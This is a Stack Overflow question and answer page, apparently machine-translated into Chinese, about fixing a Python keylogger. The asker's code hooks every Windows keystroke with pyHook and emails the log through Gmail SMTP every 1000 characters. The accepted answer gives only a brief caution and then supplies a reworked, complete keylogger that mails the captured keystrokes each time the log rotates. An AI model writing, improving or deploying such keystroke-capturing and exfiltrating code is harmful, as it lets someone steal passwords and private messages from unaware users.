python - 记录和清除文件

标签 python logging keylogger

我正在研究简单的键盘记录器 -

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    checklog()
    return True

def checklog():
    f = open(path, "r")
    x = f.read()
    if len(x) == 1000:
        server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
        f.close()
        f = open(path,"w")
        f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

它应该将日志保存到文件并在文件长度为 1000 时发送到电子邮件。然后清除日志,当长度为 1000 时再次将其邮寄等。但是此代码不起作用,文件以 1000 发送,已清除,但是不再登录。问题在哪里?谢谢

最佳答案

大致如下。不过,仔细想想你为什么想要一个键盘记录器。这是未经测试的。

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
    def __init__(self, smtp_credentials, **kargs):
        self.smtp_credentials = smtp_credentials
        super(EmailingRotatingFileHandler, self).__init__(**kargs)

    def smtp_connect(self):
        server = smtplib.SMTP("smtp.gmail.com:587")
        server.starttls()
        server.login("", "")
        return server

    def doRollover(self):
        ## Close the stream
        if self.stream:
            self.stream.close()
            self.stream = None

        ## Email the file
        server = self.smtp_connect()

        with open(self.baseFilename, 'r') as logfile:
            contents = logfile.read()
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

        server.quit()

        ## Proceed with the rollover
        super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
    print "Key: ", chr(event.Ascii)
    logger.info(chr(event.Ascii))
    return True


def main():
    path = r"C:\Users\Karel\Desktop\log.txt"
    smtp_credentials = ("", "")

    ## Set up the logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
    formatter = logging.Formatter('%(message)s')
    log_handler.setFormatter(formatter)
    logger.addHandler(log_handler)

    ## Configure the event handlers
    hm = pyHook.HookManager()
    hm.KeyDown = partial(OnKeyboardEvent, logger)
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()

关于python - 记录和清除文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11736672/

相关文章:

python - 防止按下 Tab 键时特定的 QLineEdit 聚焦

c# - Elmah 仅记录 15 个错误

python - 使用 python xlib 全局捕获、忽略和发送键事件,识别虚假输入

c++ - 函数在类中不起作用 - 函数调用缺少参数列表

python - 在 Heroku 上安装 gerbv

python - NumPy - 删除包含相同元素的子数组

Java 日志框架和日志分析器

python - 带重音符号的 Unicode 在日志记录时引发 UnicodeDecodeError (App Engine)

jquery - 如何使用 jquery 和 django 将变量传递到前面来创建 token ?